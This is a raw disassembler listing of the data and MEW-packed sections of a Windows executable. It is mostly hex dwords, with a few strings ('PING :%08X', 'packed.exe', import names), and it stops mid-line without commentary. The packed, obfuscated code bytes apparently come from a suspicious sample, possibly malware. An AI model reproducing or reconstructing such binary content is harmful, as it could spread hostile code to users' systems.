sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DC0C dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DD10 dd 0FE87BCF5h, 0C7FCA2ECh, 0A1h, 0 ; DATA XREF: MEW:off_41DA38o dword_41DD20 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: MEW:00416B0Do aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 10h aEntry db 'entry',0 ; DATA XREF: MEW:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: MEW:loc_416AC5o align 10h aPing08x db 'PING :%08X',0 ; DATA XREF: MEW:00416A54o align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: MEW:0041684Bo align 10h dword_41DDA0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o off_41DDB0 dd offset off_4172BC ; DATA XREF: MEW:off_4172C0o ; MEW:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DDD0 dd offset off_4172BC ; DATA XREF: MEW:off_417308o ; MEW:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DDE8 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DDEC dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DDF0 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DDF4 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DDFC dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DE00 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DE08 dd 0 ; DATA XREF: sub_40332B+1Ar ; sub_404CBB+1Br ... dword_41DE0C dd 0 ; DATA XREF: sub_40332B+Bo dword_41DE10 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DE18 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DE1C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DE20 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DE24 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DE28 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DE2C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DE30 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DE34 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DE38 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DE3C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DE40 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DE44 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DE48 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DE4C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; sub_408B30+118r ... dword_41DE50 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_414EF4+6Cr ... dword_41DE54 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DE58 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr ; sub_403BD3+17Fw ... dword_41DE5C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E264 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E268 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E270 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E274 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E278 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E27C dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E280 dd 14AE80h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E29C db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2A0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E2A8 dd 14AEA8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E2C0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E2C8 dd 323A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E2CC dd 0 ; DATA XREF: sub_409CB1+6r ; sub_409DD0+65w ... dword_41E2D0 dd 0 ; DATA XREF: sub_409DD0+3Fw ; sub_409DD0+44r ... dword_41E2D4 dd 0 ; DATA XREF: sub_409CB1+F6r ; sub_409DD0+91w ... dword_41E2D8 dd 0 ; DATA XREF: sub_409CB1+B9r ; sub_409DD0+7Bw ... align 10h byte_41E2E0 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E6E8 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E868 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41E968 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41E974 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41E97C dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41E980 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EA84 db 0AFh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0CFh, 0F7h, 22h dd 8848C018h, 0B368C8BAh, 0C033A9h, 0 dword_41EA98 dd 778BADEBh, 11714D53h, 0C9854DFFh, 55D567CFh, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EAAC dd 0D78A122Ah ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EAB0 dd 0DEFF6A9Dh ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EAB4 dd 1705E840h ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EAB8 dd 81961964h ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EAC0 db 0DFh ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0FCh, 0EFh, 91h dd 0A2928C83h, 0CEE88CD5h, 80C099CDh, 2 dup(0) dword_41EAD8 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o dword_41EAE0 dd 0 ; DATA XREF: sub_411DC5+557o dword_41EAE4 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o dword_41EAEC dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EAF0 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EAF4 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; sub_412E04+7Fo dword_41EAFC dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... dword_41EC00 dd 75B8F9CEh ; DATA XREF: sub_40A9CF+838r ; MEW:00416909w dword_41EC04 dd 0CA055877h ; DATA XREF: MEW:00416913w dword_41EC08 dd 0FA4E12DAh ; DATA XREF: MEW:0041691Dw dword_41EC0C dd 0C4AF8AF3h ; DATA XREF: MEW:00416927w dword_41EC10 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... dword_41ED18 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EE18 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EE98 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41EF18 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; sub_4055E5+746o ... byte_41F018 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3F9h dup(0) dd 68DB8760h, 0DB28h, 8324048Bh, 0C98704C4h, 1E850h, 58C70000h dd 0EB08C083h, 8358E0FFh, 4C704ECh, 4024h, 5EB5900h, 3EB230Fh dd 0FFFBEB31h, 0F1FFEBF0h, 2015FFEBh, 50004206h, 8B444450h dd 44FE245Ch, 4EC8344h, 2404C7h, 5E004010h, 0DB28BD55h dd 5D950000h, 1E850h, 58C70000h, 0EB08C083h, 8A58E0FFh dd 80C1280Eh, 0C9C02EC1h, 64F18035h, 0D1F6C802h, 0C039C182h dd 0C1280EC9h, 808FC1C0h, 0D1F608C1h, 0C096C182h, 0C832F1C1h dd 0C6FF0B88h, 87C8FF43h, 0F883DBh, 0FFB6850Fh, 1EBFFFFh dd 24348B69h, 0E904C483h, 216h, 0F0FFEB77h, 0EBF1FFEBh dd 62015FFh, 0FFEB0042h, 0A0E9F0h, 68600000h, 417000h dd 83243C8Bh, 0D4E904C4h, 7D000000h, 0EBC0FFEBh, 0DAE9C8FFh dd 6B000004h, 75BB850h, 58910042h, 0FFFFE7E9h, 0FFEB77FFh dd 42062815h, 0FFE6E900h, 0EB60FFFFh, 0EBE96901h, 7DFFFFFFh dd 0E9F0FFEBh, 0FFFFFFEFh, 4EC836Bh, 672404C7h, 58004207h dd 0FFFFE7E9h, 0FFEB77FFh, 0FFE7E9F1h, 0C160FFFFh, 0CAC102C2h dd 0FFECE902h, 867DFFFFh, 0A001EBC4h, 8C0C166h, 0FFFFE6E9h dd 0C6C16BFFh, 0FFE9E920h, 5077FFFFh, 0FFFFF1E9h, 0C6C160FFh dd 0FFF1E920h, 537DFFFFh, 0FFFFF1E9h, 0FFEB6BFFh, 0EB4048F0h dd 0F78BF6FFh, 44F7875Fh, 24548B44h, 0E94444FEh, 42Eh dd 0EBDB8777h, 0F78BF6FFh, 83F7875Fh, 850F00F9h, 387h dd 0EB6901EBh, 1EBA901h, 8B444469h, 44FE2474h, 0FF1DE944h dd 0EB60FFFFh, 8668F6FFh, 58004206h, 0FFEBD0FFh, 5FF78BF6h dd 0FFEBF787h, 42062415h, 0EBC48600h, 0C166A001h, 5EB08C0h dd 3EB230Fh, 68FBEB31h, 3724h, 8324048Bh, 0B85004C4h, 40h dd 0EB505891h, 4048F1FFh, 2015FFEBh, 0EB004206h, 8757F0FFh dd 0F01EBFBh, 0EBFB875Bh, 0C486F0FFh, 66A001EBh, 4408C0C1h dd 247C8B44h, 904444FEh, 0BDD287h, 33004180h, 2EB57C7h dd 43330BDh, 87575F24h, 0F01EBFBh, 0B8FB875Bh, 3724h, 1E850h dd 58C70000h, 0EB08C083h, 8A58E0FFh, 0C2820055h, 1EA82EBh dd 82FFF280h, 0C28201EAh, 0CBC28261h, 0D032D2F6h, 0ACC2C0h dd 0C0D02AC2h, 0C28205C2h, 3C2C018h, 0FE34C280h, 80D032C2h dd 0D02A11C2h, 0FFEB1788h, 0F6FFEBC5h, 875FF78Bh, 0EBC7FFF7h dd 0C987C8FFh, 0F883DB87h, 9D850F00h, 44FFFFFFh, 24748B44h dd 904444FEh, 418000BFh, 0F6FFEB00h, 866800EBh, 58004206h dd 1EBD287h, 0FFDB8731h, 6901EBD0h, 56E9h, 5EB7D00h, 3EB230Fh dd 68FBEB31h, 401000h, 55F6FF5Fh, 420686BDh, 0FF5D9500h dd 2C2C1D0h, 8702CAC1h, 15FFEBDBh, 420624h, 0EB57C733h dd 3330BD02h, 0EB5F2404h, 0FFEBC0FFh, 55DB87C8h, 718BDh dd 505D9500h, 40B8h, 87589100h, 0FD97E9C9h, 506BFFFFh dd 1E8h, 8358C700h, 0FFEB08C0h, 0D28758E0h, 0EBFB8757h dd 875B0F01h, 15FFEBFBh, 420624h, 8BF6FFEBh, 0F7875FF7h dd 0BFA901EBh, 4173C8h, 8B20C6C1h, 4EC83C7h, 52404C7h dd 59000000h, 8BF6FFEBh, 0F7875FF7h, 0B850h, 58930000h dd 850F1839h, 2Ch, 808D4048h, 4, 0A901EB49h, 0D28700EBh dd 0C3B5352h, 0F5A5A24h, 0B984h, 0EBC48600h, 0C166A001h dd 0CDE908C0h, 77FFFFFFh, 0B850h, 58930040h, 10C478Bh dd 3101EBD8h, 0EBF0FFEBh, 62815FFh, 0C7330042h, 0BD02EB57h dd 24043330h, 0EBF08B5Fh, 478B3101h, 2C2C110h, 8602CAC1h dd 0A001EBC4h, 8C0C166h, 0E850D803h, 1, 0C08358C7h, 0E0FFEB08h dd 0C1038B58h, 6820C6h, 8B000000h, 0C483240Ch, 0FC83904h dd 0D284h, 0A900h, 850F8000h, 76h, 0BA52C987h, 400000h dd 0C15AC203h, 5EB20C6h, 3EB230Fh, 0EBFBEB31h, 0FFEBC0FFh dd 0FFEB90C8h, 54E940C0h, 60000000h, 0 dd 0BF8D0000h, 14h, 0FFFF03E9h, 68616BFFh, 4167F1h, 8324048Bh dd 0FFEB04C4h, 0C733C3F0h, 0BD02EB57h, 24043330h, 38BD555Fh dd 95004207h, 20C6C15Dh, 6901EB90h, 0EB20C6C1h, 53686901h dd 5B004207h, 5BE9h, 0FF257700h, 0EB0000FFh, 0EB56F0FFh dd 62C15FFh, 0B90042h, 52000000h, 240C3B50h, 840F5A5Ah dd 0FFFFFFBDh, 1E850h, 58C70000h, 0EB08C083h, 3358E0FFh dd 2EB57C7h, 43330BDh, 3895F24h, 0BA524048h, 4, 0DA2BDAF7h dd 0FF17E95Ah, 0C160FFFFh, 5FE920C6h, 7DFFFFFFh, 4EC8351h dd 102404C7h, 5A000000h, 0E93101EBh, 0C2h, 0E9D2876Bh dd 0FFFFFC85h, 0F2E94977h, 60FFFFFFh, 0FFF3E990h, 0EB7DFFFFh dd 0F1E9C2FFh, 6BFFFFFFh, 0FFF1E945h, 8A77FFFFh, 0C380005Dh dd 0B2EB8068h, 0F604C3C0h, 80CBC0D3h, 0D932CBFEh, 82D4C3C0h dd 0CBC027C3h, 2D92AF9h, 0FFF380D9h, 80FFF380h, 0EB80FFF3h dd 64F3822Ah, 1A88CB00h, 0FFFFBFE9h, 0C48660FFh, 66A001EBh dd 0E908C0C1h, 0FFFFFFB7h, 718B97Dh, 0E7E90000h, 6BFFFFFFh dd 0EEE900EBh, 77FFFFFFh, 7000B850h, 58950041h, 0FFFFEBE9h dd 875760FFh, 0F01EBFBh, 0E9FB875Bh, 0FFFFFFE4h, 57C7337Dh dd 30BD02EBh, 5F240433h, 0FFFFE1E9h, 40486BFFh, 0FFFFE8E9h dd 0EB77FFh, 0FFFFF1E9h, 0E95260FFh, 0FFFFFBA3h, 0FFF1FF95h dd 2C2C1F0h, 0EB02CAC1h, 62C15FFh, 0EB0042h, 0FFEBD0FFh dd 42063015h, 0EBC48600h, 0C166A001h, 96E908C0h, 0Eh dup(0) dd 77E736A3h, 77E73803h, 77E805D8h, 77E7A5FDh, 77E75CB5h dd 13h dup(0) dd 0B0E900h, 57550000h, 0ED33DF8Bh, 0C6831E03h, 168B6608h dd 6646CD8Bh, 9B6EAD3h, 0F174CEFEh, 7673E2D0h, 8BCD8B56h dd 8BE8D306h, 0C1F08BC8h, 4A903E9h, 74000000h, 1FE1830Bh dd 8308E8C1h, 9EB08C5h, 0C103E183h, 0C58305E8h, 3E68305h dd 0E74F685h, 4E15744Eh, 0E0831C74h, 3C58307h, 7F251AEBh dd 83000000h, 10EB07C5h, 3F25h, 6C58300h, 0E08306EBh, 4C5830Fh dd 83F78B40h, 0F02B02C1h, 3B39048Dh, 0F32373C3h, 5ECD8BA4h dd 8303E9C1h, 0F10307E5h, 0FB3B82EBh, 0CD8B1173h, 0D347068Bh dd 478846E8h, 0FF6EE9FFh, 8B59FFFFh, 0C72B5FC7h, 3AEBC35Dh dd 62616E55h, 7420656Ch, 6966206Fh, 6D692078h, 74726F70h dd 6C626174h, 50002E65h, 45796C6Fh, 4D00456Eh, 61737365h dd 6F426567h, 55004178h, 33524553h, 6C642E32h, 6Ch, 20Ch dup(0) dd 6200000h, 454B0042h, 4C454E52h, 642E3233h, 80006C6Ch dd 626F6C47h, 6C416C61h, 636F6Ch, 6F6C4780h, 466C6162h dd 656572h, 616F4C80h, 62694C64h, 79726172h, 47800041h dd 72507465h, 6441636Fh, 73657264h, 45800073h, 50746978h dd 65636F72h, 80007373h, 0 MEW ends ; Section 2. (virtual address 00021000) ; Virtual size : 00021000 ( 135168.) ; Section size in file : 00021000 ( 135168.) ; Offset to raw data for section: 00021000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write __u_____ segment para public 'BSS' use32 assume cs:__u_____ ;org 421000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing dword_421000 dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 77E805D8h, 77E7A5FDh ; DATA XREF: __u_____:00421018o dd 0 dd offset dword_421000 dd 40012Ch, 2 dup(420000h), 0DB870E60h, 387C2868h, 24048B03h dd 0D0A7C483h, 1E850C9h, 0C70F1ADCh, 8C0A058h, 0C7E0FFEBh dd 0CC04EC0Eh, 27CF4034h, 0F05E359h, 3103A123h, 66FFFBDCh dd 6F134F0h, 620150Eh, 2E500E42h, 5C8B2144h, 0CA1FE24h dd 1030382Ah, 0BD555E58h, 5D9552A0h, 8A814CADh, 80C1280Eh dd 0C9F42EC9h, 3F1EC35h, 0F6C80264h, 39FB82D1h, 0BE2B1A6Eh dd 8308F19h, 961043h, 0C832F116h, 0C6FF0B88h, 41EF4373h dd 0C0F8839Ah, 0B67D850Fh, 1EB02C0h, 0A4348B69h, 16E919A1h dd 0FE77A402h, 1BC683B4h, 38D1A0E9h, 70146860h, 3C21C841h dd 23D4E90Ch, 0C034CC7Dh, 0DAF8C806h, 6B1881FFh, 75BB850h dd 5891588Fh, 8D9FE7CDh, 77281583h, 1B9BE6F5h, 4CCFBB60h dd 4AA17D13h, 6B1395EFh, 63678DCCh, 0A8F1301Ch, 39C16009h dd 0CAB902C2h, 2FEC50FCh, 74C46286h, 0BE8566A0h, 6B474F08h dd 9F20C627h, 50771D51h, 682BF1D5h, 7D8A0920h, 6B980753h dd 0C04048BDh, 0F78BF60Ah, 24E7875Fh, 2A845436h, 519D2EE9h dd 1818EA77h, 0F2F95583h, 28A203FDh, 0A906CD95h, 7455900Dh dd 6CAC1DCAh, 86546850h, 0D0FA58BAh, 0CC8933ACh, 8E2D1424h dd 6809A84Bh, 0D8143724h, 0C340FE81h, 0C92A5E84h, 399C8582h dd 0FB875718h, 0DA5B0F6Ch, 413B180Dh, 37CE521h, 0BDD28790h dd 53408082h, 571EC733h, 309D02EBh, 0B95F94F2h, 5C45B830h dd 5538E02Ah, 79C2821Eh, 8001EA87h, 980DEDF2h, 0CB066118h dd 32D20FF6h, 0AC4EC0D0h, 0F2A591Fh, 18229805h, 0FA80030Ch dd 0D9FE7C34h, 8C110E2Eh, 7617882Ah, 3DCBA5C5h, 0A4B0C724h dd 91F92B84h, 85FE429Dh, 8A26BF90h, 4CC2E751h, 69C8200h dd 0A2523189h, 56BE9107h, 0F842EE23h, 5F8523D2h, 69875648h dd 48872D55h, 5CABB659h, 0E9D1A12Bh, 34632333h, 84071858h dd 2A42954h, 0FD97E985h, 0E33EB54Ah, 0F432ECD4h, 0B5864C54h dd 0C8BFAD02h, 0F6A38A73h, 0B1C78B89h, 36630540h, 0B26E2043h dd 58930511h, 0D90D1839h, 8640152Ch, 0CD04808Dh, 6734911h dd 5203B0D4h, 240C3B53h, 840F885Ah, 0CC2AD4B9h, 33CDE9E1h dd 40796451h, 0C478B40h, 0F7AAD801h, 0C14EFF4Ah, 8B8DCA87h dd 449535F0h, 4291EC10h, 7CD803C5h, 3548BC3h, 8DA468A3h dd 1B990CF4h, 0E8C8390Ch, 94A989D2h, 229C8009h, 52FD8076h dd 372A0BAh, 595A6AC2h, 2CB15A58h, 400F8690h, 704F54E9h dd 8D01A860h, 0D1462BFh, 0E46403E9h, 0F1686104h, 74DD4167h dd 9EC3A612h, 3862A0A0h, 0B5424507h, 0B41086A5h, 680C6359h dd 5B291C53h, 7783B1E9h, 91090725h, 0DC525694h, 4B9252Ch dd 9C50525Dh, 0BFD1BD17h, 5D2CF4CAh, 50034889h, 5048B441h dd 2BDA39F7h, 17E95A0Bh, 5F428114h, 0C4905124h, 235A4910h dd 24C2E925h, 3C736B13h, 4FFC8512h, 0F2EA495Dh, 97901F2Dh dd 0C20362F3h, 4554AECCh, 8A247707h, 0C30E155Dh, 0B2EB6368h dd 0F604B0C0h, 0FACBEAD3h, 6332E6FEh, 82D418D9h, 1A1E27FBh dd 2DF2AF9h, 1970805Ah, 82FDEB03h, 0CBC064F1h, 0E91A1488h dd 0C55352BFh, 7D89B788h, 0C66192B9h, 0C90AB045h, 0D83AEE10h dd 5895B2C8h, 60937EB9h, 0E4FD5A2Dh, 0DE3C3044h, 36E151E9h dd 0E885E207h, 0ECC28CCDh, 33527F60h, 950EFBA3h, 0F0491ADEh dd 0DA3895F4h, 0F61CC440h, 4314BB30h, 2E8596E9h, 60E9F801h dd 57550BB0h, 3300DF8Bh, 831E03EDh, 0F46608C6h, 76CDF816h dd 0EAD30046h, 0CEFE09B6h, 0D006F174h, 567673E2h, 3B06E422h dd 0C826E8D3h, 9C113E4h, 0E710A968h, 831F0B74h, 0E84E1FE1h dd 86C5C908h, 4016090Bh, 3C830503h, 8583E606h, 4E0E74F6h dd 1C07159Ah, 307E0D3h, 1AEB0326h, 616F7F25h, 109EBE14h dd 6CF3F90h, 0F38B25Ch, 0C3400402h, 2C1F09Ah, 8DF02C2Bh dd 0C33B0005h, 0A4F32373h, 0C35ED0CCh, 7E53A83h, 2C8F12Eh dd 1173FB3Bh, 0F4477986h, 8988463Ah, 256EE9FFh, 0DC815975h dd 5DCC2B5Fh, 3AEB1FC3h, 6261C055h, 7420656Ch, 661D6F73h dd 9EF97869h, 725F706Dh, 2E13D03Eh, 0D8F750E0h, 6E724579h dd 73F84DE0h, 677561E2h, 7848427Fh, 535500E5h, 32335245h dd 6C64382Eh, 0FA600E0h, 38200042h, 4B074206h, 304E5245h dd 2E32334Ch, 0F06C6438h, 8F47803Ah, 2D61626Fh, 63DD1641h dd 38460D58h, 18E76572h, 644EBF4Ch, 3BFF698Fh, 4179307Eh dd 50746535h, 3846BDF7h, 733AE764h, 2A45201Ch, 8B116978h dd 0F300000Dh, 83004336h, 74086138h, 0FF044900h, 56A5756h dd 5A110E89h, 7141018Bh, 0CCE6C108h, 3803B60Fh, 4A40F70Bh dd 11A7389h, 5FEA7501h, 8356C35Eh, 0C0330430h, 879B057h dd 7ED20785h, 0F155532Dh, 0C8EED1DAh, 0FE0E3BE0h, 832B0472h dd 0C781010Ch, 73D8020Dh, 118B0C10h, 2A79E7C1h, 0FD0B85C3h dd 4BA00342h, 5B5DD975h, 90CA68BEh, 5CB64404h, 0FC60184h dd 0E8C139B7h, 0C7AFD80Bh, 8007AFEh, 3F73F83Bh, 6C044289h dd 0F02CF066h, 8CA3BF70h, 0C1009E86h, 0F80305FFh, 65398966h dd 4F3D308Bh, 0A4D1957h, 39961874h, 0E0E54181h, 361EA0B7h dd 9280710Ah, 2B393FEBh, 20F837F0h, 6F9ADBBFh, 81DD068Dh dd 2B05EEC1h, 4280BEC6h, 12A6ABCh, 0CD809858h, 535051ECh dd 1CC7DA99h, 0F9B0DB85h, 0F1A7E58h, 0FC5D8956h, 8D0855E1h dd 0C98C334h, 4531E83Eh, 0C60302FFh, 18FC4DD4h, 465EEB75h dd 5A00CB8Bh, 5BE2D35Fh, 0E4C9C22Bh, 3A46E104h, 7897877h dd 39FF33F8h, 0D93D5C7Dh, 0FCF05A7Dh, 56207E19h, 42401278h dd 6FE81E0Ch, 0CF6F7F06h, 0D300144Fh, 0FC4509E0h, 4E3B4730h dd 625EE27Ch, 5B5F148Bh, 565342B0h, 407599A1h, 0D007EEA0h dd 1F906576h, 94F98981h, 3A5FCA0h, 388C8D09h, 0C0038D02h dd 0FFEC5E8h, 0CB83D883h, 75F03BA0h, 0FB51812Bh, 7D288AD1h dd 0C86C323Dh, 8D6BC2FCh, 0D5A30146h, 0DE0DC303h, 5D97E847h dd 0A0BDBE8h, 0BED1EBD8h, 0DE3B032Ah, 4B6D117Dh, 0E8EC3824h dd 35718B7Bh, 0C38A5F0Ah, 56997E5Eh, 0F1C8FADAh, 316360E8h dd 1675C085h, 241A44FAh, 8094570Ch, 8D5A0317h, 3030774Ch dd 0EB31E3E8h, 0D77D8B3Bh, 2A024E3Eh, 5719243Fh, 104B1B75h dd 484D42B6h, 0C78C8C41h, 8337BCE8h, 0EB08C005h, 8A056A11h dd 0B342048Eh, 0A4A9E85Ah, 5D841013h, 40BEE367h, 89AD5340h dd 3ED87345h, 5DBBE475h, 0B90CD473h, 0F063903h, 5941B284h dd 0E8099E17h, 0D43A4618h, 22F05003h, 3880F055h, 0B90CFF65h dd 0B83C1B9Bh, 1280B9E1h, 5900FB8Bh, 335FABF3h, 4D8D12F6h dd 0EC5E0CC0h, 0DC81F006h, 6F85298h, 3C33E8E0h, 0D839D2FDh dd 90AB76D8h, 0F87352h, 3E083CEh, 0C1C0558Dh, 0B204E13Bh dd 81F4A6C8h, 88E84BF3h, 73B741A0h, 0A814D0Fh, 0CB443451h dd 8D047A81h, 5E2440C9h, 12FE6083h, 0E6C188Ch, 4D892EC1h dd 19F37DF4h, 260DEBBAh, 0D405E50Ah, 0CBF503EEh, 0FB060A3Eh dd 7428E070h, 55015622h, 8AC72BE8h, 0B39F1004h, 0FFD08788h dd 48EA3F75h, 3E6546DDh, 261E1ED4h, 60B34324h, 6886748Bh dd 67743C0h, 0E914E8CCh, 3D100B64h, 6C7C8088h, 0E88C4DE4h dd 584D8A33h, 0E8456366h, 2F0D8073h, 0DE045C7h, 0FCE93B41h dd 0FD60F812h, 1DD0BF85h, 8C98881Fh, 8531D1E8h, 3F7552A0h dd 0F41DD90h, 0CF20D104h, 0A8B9E843h, 0A16B7518h, 0E88707ABh dd 0B39D0FF8h, 0CED72448h dd 0CF2B0BA2h, 6509F862h, 0D0888A86h, 0D2F8B181h, 63FB78Fh dd 9741E902h, 44B0A5C8h, 575317Fh, 0EBEC4E85h, 0C86A2227h dd 185C6711h, 9EB36F0h, 5BA38FA8h, 0EC123CB7h, 76670CD5h dd 75988AFFh, 993C2FF4h, 0CB5D0A68h, 5A54DB55h, 128145BFh dd 0F82CFD7Eh, 0BFA655E9h, 3C5985B6h, 0CC7DC6Dh, 7524ADF2h dd 207C2706h, 5ADB0664h, 0A6020A3h, 91D0E876h, 970431F8h dd 4D30037Ch, 77D99258h, 0E7065051h, 11549A07h, 15036018h dd 521FC68h, 0C88B4D7Ch, 0F9D18307h, 4901E7B1h, 7702CFFCh dd 0E28C3D3h, 0AD0B1A7Dh, 3D18B52h, 8C82B55h, 55E4B5Eh dd 35587391h, 8D21EB07h, 0FC999D51h, 1ED4FB4Eh, 0AFF88F35h dd 6A50A445h, 0B584AAD4h, 0D8EB8046h, 85471396h, 7B780AFFh dd 2F6327Eh, 0E9072A4Ah, 88C264E8h, 887308E0h, 0E5420A2Ch dd 0AF54F412h, 64E176FBh, 53A7ED3h, 72D8893Bh, 1C03AFDBh dd 820F0DFCh, 52466B9Bh, 0AD5B0C0Bh, 0C3C9h, 38000000h dd 2400433Ch, 1A7h, 61004010h, 11Dh, 0DBB36B00h, 30D743A0h dd 854DA44Bh, 1953536Eh, 18F1E5E8h, 29192CA1h, 0C13FA4B1h dd 5FB6536Ch, 4CC57DEFh, 6494A5C4h, 44A4D17Ah, 3B01BFE7h dd 51980700h, 9897D4D4h, 0BC74EF49h, 422B2D4h, 0A360ABB3h dd 831585E6h, 0F182949Dh, 0C9B5BBA4h, 6C509A68h, 23631293h dd 0C2A97247h, 0EA91A174h, 0C0368E1Bh, 0DFA90DDDh, 4ED7B112h dd 0AF0D2A4Ch, 0E9F770h, 0D6B2E2B6h, 0A5CDC0C1h, 0FCBC76D8h dd 73CBCF9Ch, 7630CF5h, 81B8DC52h, 68878965h, 77F1F614h dd 2995AD47h, 72BC8000h, 4D6B7797h, 6D261047h, 47AD32h dd 2E19A934h, 0BF795E19h, 0BB9BE87Bh, 5201C86Dh, 0BA4915C2h dd 7A8CD643h, 0FEC07F41h, 98AC01A3h, 0AF337691h, 0C0AE51A7h dd 9A50F3C4h, 0CE396B41h, 0B9D8F455h, 5B80438Ah, 0FCBA1133h dd 3E2B71Fh, 70FE522Ch, 0E5B0F4FAh, 38CC86CEh, 0CB35E6E4h dd 3A8637DBh, 0FC4130F6h, 346B87E2h, 0C62F39B8h, 580D9D1Fh dd 0A484BFC4h, 97BFB5D8h, 0C81168B7h, 